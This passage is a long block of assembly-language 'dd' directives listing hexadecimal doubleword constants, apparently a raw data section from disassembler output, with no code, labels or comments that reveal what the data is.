		dd 500B0700h, 67D42CA2h, 427F0095h, 32E5346Eh, 8448D283h
		dd 937A0184h, 0E63F9441h, 71EDE9C0h, 4F7791h, 8972F6F5h
		dd 0B1B31E21h, 82B73800h, 2EC29D87h, 9B7B0163h,	511378CFh
		dd 0C3CC402Fh, 29394E8Eh, 3BE700A1h, 1E5FABE8h,	18F7DD3h
		dd 3AF2715Eh, 70DA1F7Ah, 727DFAFAh, 30E49F2Ch, 2BC12600h
		dd 0F7AFEADDh, 2D24DCh,	0FFF4863Eh, 8135D962h, 5D975400h
		dd 12478DC1h, 0DCB300BCh, 0B6A19432h, 4273DEA0h, 6053F724h
		dd 5A786501h, 0BA017D8Bh, 98A4434Ch, 0B1C975DBh, 0BD508150h
		dd 48838A73h, 12419CE0h, 20C8720Ch, 2D94918Ch, 44B1A300h
		dd 9CA7E701h, 0EA180035h, 0C3F30916h, 742FE404h, 0D8D800C5h
		dd 1072B66h, 0C9C6E8ABh, 0F426384Eh, 809D47D7h,	0F88BCC4Ch
		dd 8E3A00CBh, 2B93E0DDh, 36008A10h, 0CC58ED50h,	0D92901h
		dd 6426FC17h, 0B103C8D0h, 8D37E900h, 9C4F5C1h, 0E4F1000Bh
		dd 0DFE54FD4h, 0E00EB316h, 80414394h, 275BC871h, 50F24C36h
		dd 0A3004758h, 0B6EC4E01h, 21F864BCh, 9551E301h, 36157414h
		dd 543024EDh, 20B5001Eh, 9223318Bh, 0A94E266Eh,	25D030C7h
		dd 0F4C3CA35h, 442D00F2h, 0FB4CC2C8h, 0A9076B3Fh, 0BD1398Fh
		dd 0C363FA90h, 43110008h, 609E1E27h, 0E000F57Ah, 0B6682039h
		dd 282DC726h, 0A0D314h,	2F62E183h, 0D4090F24h, 4D8A9F00h
		dd 0A2DD18B4h, 0E5D603B5h, 1712A619h, 7D42AAD0h, 20495600h
		dd 0F224579Dh, 540A485Ah, 4080E516h, 0E304985Ah, 0FB0E0241h
		dd 4793322Fh, 0C5A0FE8Dh, 0F6D615h, 35915F6Ch, 69810AAEh
		dd 168EAA58h, 60C04C53h, 735EDED8h, 602FF22Dh, 98271852h
		dd 0D7747CF6h, 223A7B00h, 0EF7EB3Ch, 0FB1A03DBh, 0FC749C39h
		dd 9C6B6381h, 4B40E029h, 0F422DC0Ah, 0F7122D1Bh, 387CA020h
		dd 0A430B03Fh, 14496050h, 15D20CE6h, 0E9416C7Ah, 1C7CC470h
		dd 0D89EC500h, 1D97B11Bh, 0ECDA0083h, 0BAD3DFAFh, 0E000C937h
		dd 35856D0Eh, 7C7BA03Ch
		dd 0F7713E3h, 273C20F2h, 0F500DC66h, 0F1CDA1C0h, 4A8747E9h
		dd 0CA1041DEh, 23A8FCh,	9E8D316Ch, 5712002Ch, 99E3A173h
		dd 7DBA9F05h, 0F4877193h, 49B703Ch, 5AF4C536h, 2E28F008h
		dd 185E3260h, 629F31F9h, 7F6B223Fh, 0DC958F80h,	5E00F039h
		dd 675AA21Bh, 12270D07h, 0F05D960Ah, 7048E47Ch,	234D017Fh
		dd 0EFBD603Dh, 2EA1880h, 0E18A6184h, 0A11CFh, 1A371C11h
		dd 202100ACh, 3383094Ch, 290086B4h, 581B07CEh, 0D5246Bh
		dd 0D87A98ACh, 0C2CFFC0Dh, 50BE5601h, 6927999Eh, 18205371h
		dd 3B23E63Eh, 3B1540Ah,	0C0246168h, 96055DFCh, 16FDB57Ch
		dd 0C77ED0D0h, 2064063Eh, 287DA5DCh, 445D9400h,	0FC1AB574h
		dd 0C8195A4h, 0E873DE80h, 8A00E8C1h, 74D3317Bh,	786A4C9h
		dd 0D8213ECFh, 0E9B020F9h, 0CD74785Eh, 2CEC4102h, 0E0672839h
		dd 1D00E59h, 327B5F7Eh,	700C6E96h, 1C0F165Ah, 2429168h
		dd 60200F8Eh, 0E5BC02h,	0DD13B355h, 0BADF1C4Dh,	0F3467900h
		dd 9FB2CB23h, 2D721Ah, 6830B3DAh, 0B4294CC7h, 220F0100h
		dd 5C55467Bh, 159A00EAh, 4D505D13h, 52005A07h, 54CF2A35h
		dd 7505D7h, 0F8C2FC63h,	4B94BFF5h, 615F8D03h, 5854E8CDh
		dd 0BE00ABF9h, 212D3D3Ah, 1D65D665h, 58B04008h,	0BE0F0013h
		dd 3036A289h, 9600DAF2h, 6852C21Ah, 91BB84h, 0CE82BDDEh
		dd 583A0B5Eh, 80F16105h, 50D74904h, 93381F80h, 3C94031Ch
		dd 24FE5EB4h, 21130837h, 0C09330F0h, 41F2371Ah,	826A0379h
		dd 1BA50B8h, 0F402E990h, 61E90D43h, 0C804446h, 7CE35880h
		dd 0E5189049h, 0E820513Eh, 0C670E6EEh, 318B7698h, 75C4D707h
		dd 6291BF33h, 3A202FDAh, 529A001Fh, 82FD4BFCh, 94A94601h
		dd 81818CCh, 353D3BBEh,	104E4AC4h, 0B1BBBE27h, 30C3CEDDh
		dd 530070C0h, 0DB7DCB52h, 786146C2h, 0BEEC00C1h, 0D420E5D7h
		dd 8100E613h, 0EB883BDh, 0EDF5BCh, 0C36D3685h, 46FB3CA4h
		dd 64CDFEAh, 0CA04002Eh, 2A09C78Eh, 0F79B002Ch,	103821BFh
		dd 0AD014A3Ch, 9EB74F92h, 0D5EF845Ch, 9FAEA380h, 0E7DB5857h
		dd 77DFC500h, 0F4183119h, 0BA36BB00h, 9EE2320Eh, 928500ACh
		dd 62A8AE30h, 0D200CD98h, 0B912314Ah, 16AC9AFCh, 3C014BCh
		dd 0E01E3527h, 25EEDBD0h, 42C6360Fh, 405D0048h,	7BBA4918h
		dd 0B2D20CA0h, 0DCD0EADBh, 0C05D04A5h, 29C2715Fh, 3DD59A0Ah
		dd 0CEF81CD6h, 107D60DFh, 8CBC8E3Eh, 0D8E91900h, 0C2DA4F15h
		dd 0F447458h, 2C3ECED1h, 0D2838C4Eh, 28218DB5h,	6F9C0834h
		dd 8C2BCA88h, 2051B98Fh, 6CBB2284h, 3714F650h, 849CB644h
		dd 42723B22h, 4D711902h, 0DF088879h, 0A02E5544h, 8949CA50h
		dd 441D08E4h, 14A33A56h, 5022ADAAh, 68C291Ch, 2A45A629h
		dd 44174CD9h, 434A001Dh, 70469075h, 4B910032h, 449E5E9Bh
		dd 0AC2C7F3Bh, 9F008B4Ah, 493F8513h, 0D71C0005h, 0C0C10E1Dh
		dd 1900064Dh, 17102C38h, 0D5926Ah, 777B44E7h, 8CAA825Fh
		dd 0F34D600h, 96611E93h, 30E609A6h, 2B801754h, 572671BBh
		dd 0D997C07h, 846CD21Ch, 4F8E003Fh, 29816692h, 0B73E8A35h
		dd 51A4801Fh, 3C7E832h,	0E7960198h, 309B6373h, 27F7C031h
		dd 0F9C27007h, 0FAC0F2B7h, 15B02A2h, 0B9488EC8h, 0EB2BBCECh
		dd 7981FF0h, 3FBF0803h,	9FFB1B3Eh, 0EA37F0C0h, 9CF2691h
		dd 2CC83B5Ah, 60568D00h, 7FD1E322h, 0B125FA00h,	5094DF71h
		dd 83AD009Fh, 0F50891B7h, 48E4FB14h, 35CE40DFh,	5B9F84CEh
		dd 104D5091h, 7A6EC740h, 0A99B30B7h, 78820630h,	12C59200h
		dd 95D67B87h, 9C8850BFh, 0A5B239BEh, 73ABF980h,	0DD893A4Dh
		dd 5BED48h, 0A8BD1FB4h,	0B0C82D44h, 90B60076h, 0B9CDDEC0h
		dd 0FD005D95h, 0FB6F4F2Fh, 171BA5Ch, 69DB8EC3h,	0E843A3B1h
		dd 56004A6Bh, 0BEA8ECA4h, 0A0E08Bh, 0CD08D8FAh,	72373554h
		dd 0F363E11Ch, 7BBB8380h, 1F06F63Eh, 40159264h,	0B68252DAh
		dd 950532ACh, 0F039E28Bh, 960C1980h, 6EA8000Fh,	2DE43CC4h
		dd 380789B0h, 0ED48A63Fh, 5D620DD0h, 0B1F50C55h, 88A05061h
		dd 0D8B60600h, 0A39B4F0h, 163D008Fh, 0FB689FA2h, 9E006D76h
		dd 0D2B155F5h, 0A03022BEh, 188C41DCh, 11841F32h, 1500EB61h
		dd 49897E99h, 0E9F7DFh,	3DA4B8B0h, 155F8EFh, 910010F4h
		dd 11879760h, 4286E2h, 580CA272h, 6B7EBE0Dh, 20171500h
		dd 8449FD61h, 0C3C8003Bh, 0EA5067D4h, 0E5000DAAh, 0BBC6E216h
		dd 766555ABh, 0E30100F5h, 86021DC5h, 0C0033BDh,	31CB6A13h
		dd 0DF8BB9h, 18081A30h,	0F81F510Fh, 8A010C90h, 6D13482h
		dd 8BF041F1h, 0DF1E00DAh, 6CB8FA04h, 3B03838Ah,	7EC5D3D0h
		dd 90DC9808h, 14F005Dh,	0D9C60D02h, 51016BF9h, 94D2A457h
		dd 0C0206927h, 6AC1019Fh, 5D0150FBh, 0D5F440E8h, 0EF24D264h
		dd 3600A889h, 0DEDBB8Ch, 0DE3400FAh, 13713A8Ah,	8D001068h
		dd 0B91812EAh, 1CFEE0F8h, 0C0B8EE76h, 2E1E89B2h, 0D90016CCh
		dd 0D7BA5F48h, 9ADCABBh, 0B0A14544h, 36D8EC21h,	0F4FFF107h
		dd 29000A8Bh, 2A8DF7BAh, 92EAE708h, 3D7398h, 0A9693ECBh
		dd 0EFA16747h, 4657610Ch, 90E620F6h, 60CF2405h,	93C280A8h
		dd 0F3018949h, 0F8812826h, 5DADA807h, 0EE070A80h, 1827777Ah
		dd 0E97C180Ch, 0F21EA5A8h, 0F689E315h, 872021EBh, 8305E173h
		dd 0C0F428EBh, 314BA07Ch, 0A940C0C0h, 1216D726h, 2E95FAh
		dd 0E19A276Dh, 4A48C823h, 0A91E78A0h, 54836C78h, 1FE5862h
		dd 0F65C2670h, 31F28152h, 8020BB6Eh, 0AFE84CE0h, 50D28A45h
		dd 6498D3h, 31A87A5Fh, 8095F117h, 1AF6610Eh, 38DAA7AFh
		dd 0B4F54441h, 0AA93C4h, 3E8BFF11h, 71CDE795h, 44C21B1Fh
		dd 0ACD91F40h, 0E29496h, 43D7F9C4h, 0D3AE5FEBh,	6A648F00h
		dd 691431A6h, 0DB710062h, 9FB3B2A2h, 400094E6h,	6A840A38h
		dd 0AE4E90h, 0E1293323h, 728C81D5h, 340055F2h, 5BF5200Ah
		dd 0F0CB6153h, 0F2A378E4h, 78CC01D2h, 1A170DF2h, 0BEC27B0Fh
		dd 18F0E005h, 0CCD10035h, 59C1ABA4h, 0DF003715h, 0DD369EC2h
		dd 341850h, 7FCD2FD0h, 0D10CD4D3h, 16D7407h, 991E154h
		dd 6C2099D2h, 0E06F00BAh, 8B944456h, 0E128A22Ch, 804889F0h
		dd 292D24BCh, 73007028h, 0A0CC0B95h, 4694A6h, 0C116EDBCh
		dd 51FDF322h, 0F99FF700h, 0D7FB8523h, 0D8080013h, 6B48B35Eh
		dd 3E0BFF43h, 293DCEE3h, 518005E6h, 0C3835B80h,	4C810E76h
		dd 2EA08235h, 11007C6h,	0D7F58800h, 0A46C272Ah,	0BAE20132h
		dd 4B8AEEA0h, 0DCF9E585h, 4900572Ch, 86752EE9h,	0E79768h
		dd 5A7AC678h, 0C8ED6433h, 2900FD79h, 0B393EA1Ah, 73081A2h
		dd 3D116A57h, 1C878008h, 8300FDD3h, 0CAD46F15h,	7846288h
		dd 8B35F5B0h, 0C0BAF4EDh, 1DC17038h, 5607D205h,	90C0EBCBh
		dd 3AD4E46Fh, 9C843CCCh, 82932B2Ah, 10639550h, 88B45180h
		dd 6C398890h, 187DA670h, 0EDB8B580h, 78F385A7h,	93D0248h
		dd 965ACB62h, 2098CD41h, 99005FECh, 0AD7E4CA5h,	411477h
		dd 0EF1C0F72h, 0F0EB9605h, 2C8CA800h, 73784236h, 17D201ECh
		dd 43B114EAh, 88BAF074h, 92C9DD0Ah, 0BE008053h,	0C648ABD8h
		dd 1D3BFE78h, 0DD04A9h,	281BE15Ah, 0B60C8591h, 305E67FEh
		dd 0FBA207A3h, 123CF22h, 833A3FB1h, 0E5C2DCF8h,	0BBBD8D5h
		dd 1424F368h, 0C0EA04DEh, 80DCC6D6h, 94A99FC8h,	0AC705C03h
		dd 9E9568h, 0C20873D8h,	7616DFDh, 5038100h, 6E4F8B0h, 45918B7h
		dd 0C1D748DCh
		dd 0DD889B60h, 3D4F3563h, 0C35C2C34h, 1F160413h, 5F5A005Ch
		dd 0F484926Eh, 4130AC90h, 0E5854034h, 0F03F32C8h, 1D0083B0h
		dd 3B48D8E7h, 212E2D78h, 188D8080h, 0AD63A1EBh,	3A751100h
		dd 940187E2h, 1C8571A2h, 0C077BAC5h, 0E7DD3874h, 1500E107h
		dd 81A3328Bh, 0F43C96BEh, 0FF9A013Dh, 616B29DAh, 0C024D140h
		dd 0EF00C1FEh, 7BA24D54h, 2E1F3941h, 16D45375h,	4328008Dh
		dd 2ADB32CDh, 0DA230E0Bh, 588077EFh, 0E271A3A4h, 9F7BA10Bh
		dd 0C0B80E59h, 0B63B6C5Eh, 4013008Ch, 0A872B199h, 1E718AEBh
		dd 28370E07h, 0D0415FEDh, 0CAE42BC1h, 704B861h,	18D3388Eh
		dd 8FF2C0C3h, 6E1E8147h, 77400EC0h, 0CEA85F3Fh,	3C730085h
		dd 8A670628h, 0D26FEFCh, 0A100DC32h, 21EE29F1h,	84700B0h
		dd 384BF9BAh, 76009473h, 0BE7E8144h, 49CE8D0h, 0A671AE57h
		dd 1DC0027Ah, 15A43C4h,	0FC14FAB4h, 0F4BC0176h,	1977D4FFh
		dd 3FA0A300h, 45896E07h, 0FCDB28AEh, 1E9600DCh,	657BBCEFh
		dd 0FE780D86h, 79BAF107h, 9500854Eh, 5BBEE1Fh, 0C5221134h
		dd 61F2C0F2h, 60066B3h,	8DEDFBE9h, 56CB567h, 0BCAF0E68h
		dd 83BC026Fh, 5860FF35h, 0CF0EF32Dh, 8092C77Eh,	0B628978Eh
		dd 0E687061Fh, 115509A1h, 6DE2F10Fh, 0FAFFC045h, 3F84183Fh
		dd 29005963h, 4B3E8A38h, 78123B19h, 8800DDE6h, 0E070394Eh
		dd 0A3954C31h, 808CE71Fh, 7FACC967h, 0CD3CE5D6h, 169A1E23h
		dd 0A0D5B6CFh, 0E30E17C0h, 85B31FA5h, 0C086DF2Bh, 0F4FB5518h
		dd 0C6B0E2C8h, 0F6765D00h, 689295C6h, 0F5B21E5Bh, 97FB0023h
		dd 6B17C79Ah, 0C79DF24h, 0AAB4CF00h, 0A18E41h, 3D5DC0F6h
		dd 0F029CDFCh, 0BD160D1Ch, 0C8A708h, 7D20EF2Eh,	911EFF53h
		dd 9AC02B6Bh, 0E3BF1821h, 51500007h, 0D9E96949h, 790E401Dh
		dd 0EB173F66h, 0B7E600FAh, 6773B29h, 0FD67309Bh, 350EC81Ch
		dd 80956D3Ah, 1DE7BA0Bh, 7E2C0089h, 0DEB0A33h, 811E9405h
		dd 1BC77393h, 383C06D8h, 10DA1EAEh, 0C38A00F7h,	458D7B15h
		dd 0D73E9701h, 13DBAF95h, 7FE005D1h, 7BAA00ABh,	535E33F7h
		dd 800E3B8Ch, 6D452Eh, 0AC7F9979h, 6C6A3D31h, 0E8C54280h
		dd 0D837A94h, 4DCA2800h, 1141CE1Fh, 0F8DF0E01h,	7A19A04h
		dd 301C9B51h, 72008428h, 2E38F07Ch, 892ABEh, 0E2F67A44h
		dd 842DB11Ah, 0F37B7104h, 65805A11h, 585EB8h, 3DAE2539h
		dd 45705D76h, 0AC2B3500h, 9FA2147Bh, 7BCB0B8h, 0F83B4D66h
		dd 0D96143A0h, 0D46F57D1h, 27005174h, 252A1CDCh, 0DE8D75h
		dd 0A72FC078h, 8AA4B8Bh, 0B2EDB300h, 9FE59098h,	0E359006Dh
		dd 0EF1FE033h, 5A0ED741h, 8062FCA8h, 0B007148Ah, 975D0099h
		dd 1C37E5A5h, 0D875A0EAh, 1B34AF00h, 7B95E0D7h,	0C022509Ch
		dd 9BBF0028h, 0ED084992h, 900EF2EFh, 49046172h,	0C7807F5Ah
		dd 0F6506720h, 0F94FFF00h, 0B71AF3BDh, 169F3C14h, 1D558B00h
		dd 0EF2ACA59h, 0F832DB03h, 90A27E50h, 34062F3h,	0C7C090F1h
		dd 47BF82B0h, 6683802Ah, 200D35Ah, 6E2BE41Dh, 4FF781h
		dd 4785F6E7h, 9CF05AFh,	373E903h, 0A076CD42h, 7D64FCCh
		dd 0FA1BD1FBh, 0C6210FECh, 20827FF1h, 0A10EAC4Ch, 0A77AD06Bh
		dd 3D02E16h, 375C79Dh, 9B733DF5h, 33EF173Ah, 90BF85DEh
		dd 3060AB99h, 0AAA3221Fh, 0D4E3FB43h, 0DD8EA018h, 0B175FA2Dh
		dd 42B602DCh, 9C80F957h, 0CA35473Ah, 8B1FDA00h,	2C8A7CD0h
		dd 9C820F6Fh, 7705300Fh, 0A081C0F7h, 1B003AECh,	688DA755h
		dd 0ADA527h, 984F63B8h,	0BA7C4B13h, 28A62626h, 30FA8E07h
		dd 0EFDB7770h, 0B4CA03CCh, 5A965B1Fh, 7481C9DBh, 0C50DC02Dh
		dd 0EACD8813h, 95B8C000h, 0E6796BBBh, 8651007Ah, 0CA09AC4Dh
		dd 332CC8C6h, 0B00109Eh, 0D6299BB6h, 13E406h, 646E86A2h
		dd 0CC5A8CAEh, 62F28100h, 5563FA45h, 6C610032h,	0F004E2E7h
		dd 8001CBFBh, 531C4024h, 5CD4C720h, 4EAB0145h, 5E86A302h
		dd 549EC8F8h, 8EB24300h, 6B3A649h, 0C9EA00A1h, 8660680Eh
		dd 0B50781B4h, 0D6B6788Fh, 0DA51C490h, 0D43301AEh, 9F55684Bh
		dd 397FE06Ch, 0A6BB2903h, 0E0F21A06h, 90235FACh, 0A87BD4h
		dd 3A145C80h, 0A0A5C9D2h, 0E528E01h, 0A8C0EC05h, 2BF8FE4h
		dd 6483887Eh, 39E0435Ch, 924C2471h, 29BC00E8h, 0DFC807C0h
		dd 94461270h, 32D407BAh, 8C02C852h, 0C0E20C17h,	0AE5988h
		dd 16E02F44h, 0BDB66D31h, 6A42F00Bh, 2A9C0137h,	5C2C5BC8h
		dd 9C8F8207h, 0EA5574h,	9A4629E8h, 93F2C39h, 0D8DBA844h
		dd 700722EEh, 19737191h, 6D3098F0h, 379B0E8Eh, 0EC06B66h
		dd 1035E711h, 0F409E000h, 263F5807h, 0E47F7D86h, 14F1FD0h
		dd 5CFA979Fh, 0CCF840D8h, 0E16B7427h, 18ECAA30h, 38760EB2h
		dd 5A0068DBh, 3FFFFBB0h, 0DD05F1FCh, 718D9E73h,	2943C9C0h
		dd 392203DAh, 138BE5B2h, 3E534800h, 0E796DE37h,	0F8F60EFAh
		dd 0C09FAA23h, 14CEE0FDh, 0CC0018FBh, 293CF319h, 0F20918Dh
		dd 0B66E8833h, 868C1720h, 0C414F2DCh, 9F5F8Eh, 7A3E1511h
		dd 0F3C71871h, 2FC8F8h,	0DDE10BF6h, 856D939Dh, 395FA400h
		dd 122328B1h, 49301611h, 66EA001Dh, 792CECBCh, 5C1A020Fh
		dd 517CE03Bh, 0F219D98Bh, 3D8C0E31h, 0C320BCBAh, 0DF37C462h
		dd 6F268300h, 0EC14F84h, 61870744h, 50C0AE6Bh, 77736D74h
		dd 0E8B49E00h, 0D109B2F3h, 5917B57h, 0B7E5E027h, 0C3D80037h
		dd 483CC41Fh, 19BB0702h, 50E75EF4h, 4BB20040h, 0CABE988Dh
		dd 0B300A908h, 5C867743h, 846732h, 878C4CB2h, 4127EDABh
		dd 1147D25h, 85C8C9F4h,	0F3F0EC40h, 123F0299h, 72CFDDBAh
		dd 0F9B764E0h, 85086CEBh, 0E2000E29h, 688E8519h, 0EF83E0FDh
		dd 125FD3E8h, 0F3C07h, 43E0551Eh, 6E005E4Bh, 0B983331Bh
		dd 39BADE9h, 6D3B564Fh,	0ECE14AFAh, 2FC9C1B2h, 1F151B0h
		dd 0A1F33AB0h, 0CCFF12ABh, 4207B764h, 0FEC61B23h, 60A50CC0h
		dd 8673012Ah, 3E17D001h, 80686C4Eh, 0DDF9B8B1h,	477A0Bh
		dd 96FEF3Ah, 0FB15184Bh, 0ED283400h, 0A7B0C5CEh, 0E5DA2CF1h
		dd 30B12424h, 0BDD1F8F4h, 7B499100h, 47F7A64Fh,	6E4007A9h
		dd 80E16C65h, 90FF8451h, 0DA36C200h, 77D20173h,	9271021Fh
		dd 0CBF51753h, 0E0F163DDh, 0D40E49h, 27D15B04h,	0D8239D56h
		dd 23C59824h, 36DA800h,	9B31655h, 0BDC2FDCAh, 5F6FB88Fh
		dd 0C0454724h, 19348A9Ch, 7E18EB0Eh, 211A60B6h,	0F3F7FBE1h
		dd 7EE04830h, 0E493760Eh, 26AD9099h, 0B40608h, 0E088745Eh
		dd 9600070Dh, 2C6C36C5h, 0B3CF9C4h, 598C4914h, 8791C0B0h
		dd 5E7F4824h, 0CA044824h, 7B029729h, 6D60F7E8h,	7401B60Dh
		dd 0B7D92442h, 0E0402E32h, 1E28666Ch, 0FAA93C72h, 30147407h
		dd 19FB602Dh, 0EA02E448h, 51663B38h, 6963DFD1h,	4E90F087h
		dd 0CE0060ECh, 6F44EEA1h, 737D7F7h, 0A44391F4h,	9B3871A5h
		dd 0F11EE8A8h, 351D0400h, 0C20815C1h, 676B1209h, 328000EEh
		dd 3D1813CAh, 298A491Eh, 6F5C200h, 0E0B2DBh, 12CB3104h
		dd 0A06D2A07h, 94FFC000h, 49178568h, 0FE05264Ah, 93BF4088h
		dd 4F495B3Ah, 78370880h, 388240F2h, 9D5AB97Eh, 0E804440Ah
		dd 0D080E891h, 0BB5DB64Bh, 0D11F9F01h, 3F2F2B22h, 0F42E70h
		dd 0A4B425E5h, 6EED7D55h, 0DBE9C700h, 4F4A676Dh, 0EC1400EBh
		dd 6F9FB5ADh, 0E1D285DFh, 7813B000h, 31202B99h,	0EA180A69h
		dd 4E702089h, 355A8BF6h, 0D47EEC00h, 1397B25Dh,	4570113Fh
		dd 0C78912F4h, 3AB7726Dh
		dd 0D95FDC80h, 4500607Fh, 0E918033Fh, 7D5897E6h, 98364890h
		dd 0B4612700h, 0C940BE0Fh, 19C0E075h, 7E856A5Eh, 0FA69072Ah
		dd 5DE921h, 0F9B56DBCh,	0C100C6F0h, 8A108670h, 0B86BAB32h
		dd 7314023Ch, 8C0729C9h, 79005C78h, 0D9805D3h, 508F96BEh
		dd 391BA4EBh, 0F28183ACh, 7A3FF8C3h, 6B3180DCh,	94749BBBh
		dd 67CD007Eh, 307B1693h, 0C004D5Ch, 49850147h, 5069DFh
		dd 0FE9F7FBAh, 2181E10Dh, 0B77AFC18h, 0A7A260h,	2C3E1BA4h
		dd 7C076C6Dh, 9FFA5701h, 0F0BF0F4Fh, 7080CFC9h,	8AC2C1C7h
		dd 590036CCh, 8B7C76FBh, 126BC48h, 4C7F028Fh, 43E137CAh
		dd 0F9E955D4h, 0E9CE301Eh, 0AE79F307h, 5F34F7h,	4B54F2ECh
		dd 30EFEF8h, 3C96BFA4h,	0F9E879AFh, 0AD00BD51h,	0D075B821h
		dd 38F34FFFh, 0E8004AFEh, 7D9DFB16h, 58007ED3h,	193D3118h
		dd 138B322h, 0AE2EECDDh, 6CA8BEA4h, 875D0C7Ch, 9CE892h
		dd 0E3C86A72h, 7E5AAF9Bh, 0B9819900h, 824F03CFh, 0AC9806BBh
		dd 303891E4h, 2EB7F93Bh, 470324FDh, 0F9F5BFAEh,	0D3FBDC44h
		dd 0C3C3EF28h, 9D59C006h, 965F0068h, 492D3FC2h,	21007A99h
		dd 0CF0BEBE0h, 1DA3342Ch, 926D3D02h, 7BF8A085h,	0B0AB7F0Bh
		dd 0F44809Ch, 0BB55A8h,	0FA4F7E0Dh, 2C3C4640h, 0DE33F13Bh
		dd 0CD9B8060h, 2C0D5D12h, 0D68B1E00h, 981C9D2Ah, 2F032EEAh
		dd 81FA3D3h, 6A2298C8h,	9090F4h, 0CCDF0E26h, 0FD95B56Bh
		dd 0E10F0F78h, 75E69CAh, 0DE9026F0h, 2124CBh, 0F8839452h
		dd 0B5A3915Ch, 88BA3509h, 0BB68609Dh, 0E05E095Fh, 0C80560Bh
		dd 8DCE65D3h, 1E9388h, 0BB2FC7F3h, 3292E983h, 0A68A5900h
		dd 1FEF13E6h, 0DEF20B21h, 0B4C08B60h, 0B430A3CDh, 1850E0E9h
		dd 0D3DF00B3h, 0A540F06Bh, 0E1006D3Fh, 0DD4C1B3Ch, 5A1E28D4h
		dd 233C0729h, 0AE69907Fh, 0D15DBABh, 9B0C1D1h, 0A081A55Eh
		dd 0D907900Ch, 4D7488h,	0CA1183E7h, 0D714C6CFh,	0DE0D1E05h
		dd 0C400F7E3h, 648FC7AAh, 3D51004Ch, 5C430E1Bh,	21C9706Ah
		dd 0DF2000CEh, 0FB4BA76h, 0D8A7B529h, 84F36Ah, 37E9CCE4h
		dd 210EB3A5h, 0D426Eh, 12AD6174h, 0F0A003Bh, 3175464Ah
		dd 0BD008AB0h, 2C893A82h, 173392Dh, 5F0EB6Eh, 30698BB5h
		dd 7E1E20F4h, 4A068ABh,	70A69DB1h, 162E00F3h, 1EC2F4F7h
		dd 0BC15FDADh, 0C0F2D900h, 2D28FCB6h, 0F3F61700h, 0CC5A09FFh
		dd 5490079Bh, 10BDAB99h, 559580B1h, 43AD9F00h, 53E726E0h
		dd 7DEB8057h, 67491602h, 68048190h, 1D2EFCF0h, 0FDC801h
		dd 0B94E8924h, 0BE0039F9h, 752069AFh, 7C73964Ah, 0FB141206h
		dd 1F2C07F2h, 0C2C99086h, 0E207FE6Ch, 4B8977ADh, 45A5120h
		dd 0F5300C1h, 754C82DFh, 0FCB80B3Dh, 23FBC800h,	6B3CC512h
		dd 0EC200114h, 985C9583h, 0C846E677h, 88FB752Ah, 94406E5Bh
		dd 0B630C00Ah, 0DACA0929h, 0E8582F3Ch, 87CC571Eh, 53B9FC80h
		dd 287DE7A3h, 79C377Fh,	0AC44775Ah, 0ECA0099Dh,	694D6CF8h
		dd 0A1E8BD50h, 0C8E18C01h, 0F3D92EE0h, 0E2F0FCh, 64DCBE33h
		dd 1C3EAAA9h, 8175C338h, 50DE801Ah, 40FA598Fh, 1569C48h
		dd 0F9F17C66h, 0E09DDDCBh, 0F7007A60h, 0A338C2D2h, 7B6557h
		dd 0A4AC3A22h, 0CDE53054h, 0A4761D2Eh, 0CE3D5500h, 8C1FCFh
		dd 875E9669h, 3B3A64Dh,	4EF34630h, 95FCBF0Bh, 26C0180Eh
		dd 0C933C301h, 0B62F8012h, 2D386CC0h, 0C42700A5h, 0D7AB77BAh
		dd 4600DCC6h, 20CA9EE5h, 659576h, 0A51C6AE9h, 0F95962A4h
		dd 0F5538304h, 0E7C187A1h, 21F8E9F3h, 0EDC8004Ah, 1508ECDAh
		dd 0E316D4F9h, 5C58EED1h, 0CDB880h, 9195A7C3h, 8346F5EDh
		dd 505A621Ch, 70044513h, 0E0A8A947h, 6803945Ch,	0B0E02B6Dh
		dd 20258F81h, 0B402C653h, 76CC9CE6h, 8105664h, 0DB00AD7Fh
		dd 3EF6CDE7h, 0CF6E0207h, 0F2E37453h, 0A69E0840h, 51244001h
		dd 0A7662DDDh, 7224AE0h, 792CE64Fh, 2347909Eh, 2B00F98Eh
		dd 0CB20093Dh, 2D3A29h,	257221CCh, 333C2FC4h, 78D6F604h
		dd 24805483h, 95868E5Bh, 250E4CB0h, 9B661200h, 0DE34C3D3h
		dd 0FDD6A04Eh, 0DF2203CAh, 7427F50Ch, 2ECBC9EBh, 0CEC7E0C0h
		dd 664F3D1Fh, 0DCA814h,	180B6DD2h, 0A73BC0h, 194865DBh
		dd 71BA7FA1h, 0F783548h, 24920BE5h, 0C4D09DB7h,	0FFC2FC2h
		dd 1ED1A76h, 0E4242DFh,	0C4409F54h, 24011B31h, 0ECBC272Eh
		dd 1980D2BAh, 12E1EFD5h, 0CE0034F3h, 0F9EA5309h, 421D97Eh
		dd 2B29F1FDh, 7074ECF4h, 28CABB05h, 40F0150Fh, 489016h
		dd 3E12AF53h, 0ACA7703Bh, 70F648h, 0D5DFE4Fh, 976E652Eh
		dd 39203880h, 3F3BE811h, 0EFDD9FD6h, 0F24E00E2h, 0DBCE2760h
		dd 3900C823h, 684645EEh, 0C080D61Fh, 5DAE1C80h,	0F3000C01h
		dd 0A65107C3h, 0E4EC31h, 0A8652ABBh, 3C36EFBDh,	0EE47A000h
		dd 25E2B599h, 0B60F0764h, 80B17797h, 9BFEDAE3h,	0C6722900h
		dd 0C240926Eh, 680A0470h, 0C18A4A47h, 69123674h, 547202A0h
		dd 87511DEEh, 87FFB1C0h, 0E8D0A8B8h, 458E84h, 0F929BF2Bh
		dd 0EAAB4F55h, 6F90EAB0h, 14186439h, 7ECF02Ch, 9BF306EDh
		dd 0FC508FE0h, 35B93A14h, 9C3CE076h, 54FA0B9Ch,	9C30528Ch
		dd 0D221F100h, 0BD6B5996h, 3E1D03D9h, 0B5CB1B39h, 9CF20DD0h
		dd 3C916A01h, 2ADD4D58h, 0F388012Ah, 70F15FF7h,	2B3AEDD0h
		dd 0C99B0026h, 8EBA0811h, 1C222678h, 0AABE80ACh, 0EEE8911Ah
		dd 0A009B800h, 12A1C45Dh, 0BA49ACEh, 1E308C5Fh,	9F975081h
		dd 0F6058077h, 71F1E9D2h, 3F1500E1h, 442E650h, 6F05A2A4h
		dd 4D98B55Ah, 0FE0571C0h, 0B07050C3h, 117144F2h, 0B7A01770h
		dd 0AE00649Fh, 0C963575Ch, 9A85F07h, 0CD489D71h, 65A2CD80h
		dd 2C2CE14Fh, 6712DFC2h, 0C508B0h, 0E80DC898h, 0E90399A5h
		dd 6BC6FE00h, 29CA4C2h,	0C79B03C4h, 4F541D08h, 687F2CA8h
		dd 1449FC38h, 1F88DE4Dh, 7E8CE065h, 0B1B443h, 0CDFB16D2h
